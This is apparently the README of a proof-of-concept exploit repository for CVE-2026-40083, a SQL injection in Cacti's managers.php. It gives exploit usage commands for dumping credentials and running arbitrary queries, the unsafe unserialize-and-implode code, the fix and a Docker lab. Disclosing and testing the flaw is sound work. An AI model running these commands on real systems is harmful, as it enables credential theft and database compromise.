hakaioffsec/cve-2026-40083Proof-of-concept exploit for CVE-2026-40083, a SQL injection in Cacti managers.php allowing authenticated users to extract MySQL databases, user credentials, and password hashes. Includes Docker lab for testing.
A proof-of-concept exploit for CVE-2026-40083, a SQL Injection vulnerability in Cacti's managers.php that allows any authenticated user with SNMP Manager permissions to read the entire MySQL database including user credentials and password hashes.
Usage:
# Verify injection (time-based)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin
# Dump specific user credentials
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --target-id 1
# Extract arbitrary SQL query result
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --query "SELECT version()"
# Enumerate all users (scan IDs 1-50)
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --max-id 50
# With Burp proxy
$ python3 exploit/poc.py --url http://TARGET --user admin --password admin --proxy http://127.0.0.1:8080
In managers.php, user input from selected_graphs_array is unserialized via cacti_unserialize() and imploded directly into SQL without sanitization:
$selected_items = cacti_unserialize(stripslashes(gnrv('selected_graphs_array')));
if ($selected_items != false) {
// No validation - direct implode into SQL
db_execute('DELETE FROM snmpagent_managers WHERE id IN (' . implode(',', $selected_items) . ')');
}
The selected_graphs_array parameter accepts a PHP serialized array. Array elements are imploded with commas and injected directly into the IN clause.
POST /managers.php (action=actions, drp_action=1|2|3)
The SQL Injection vulnerability allows authenticated users with SNMP Manager permissions to execute arbitrary queries on the database. This enables the reading of tables containing user data, settings, device credentials, and SNMP communities, as well as the extraction of bcrypt hashes and API tokens, which can result in account compromise. Additionally, the flaw allows the execution of time-delay commands, potentially causing a denial of service by exhausting simultaneous database connections.
7.2 High CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Commit 52032e760 adds array_map('intval', $selected_items) before implode to cast all values to integers.
docker-compose up -d --build
Wait ~30 seconds for initialization. Access Cacti at http://localhost:8088
Default credentials: admin / admin
# Test exploit
python3 exploit/poc.py --url http://localhost:8088 --user admin --password admin --target-id 1
This tool is for educational and research purposes only. Use it only on systems you own or have explicit permission to test. The author is not responsible for any misuse or damage caused by this program.
QuimeraX Intelligence is an advanced EASM and Cyber Threat Intelligence platform specializing in identifying critical vulnerabilities in complex systems. The platform proactively monitors, detects, and alerts clients about security threats, ensuring transparency and rapid response to potential risks. Clients receive immediate notifications and comprehensive reports if their systems are found vulnerable, enabling them to take protective action. learn more
Hakai Security is a cybersecurity company founded by security professionals, committed to technical excellence. We offer tailored security solutions including advanced penetration testing, realistic Red Team simulations, and secure development practices to proactively protect our clients' assets from evolving cyber threats.
Hacking Club is the training platform where you learn cybersecurity through hands-on lessons, labs, and challenges created by experts working in our security consulting firm: straight from the battlefield to your training. Practice the vulnerability presented in this repository by the hacking club! learn more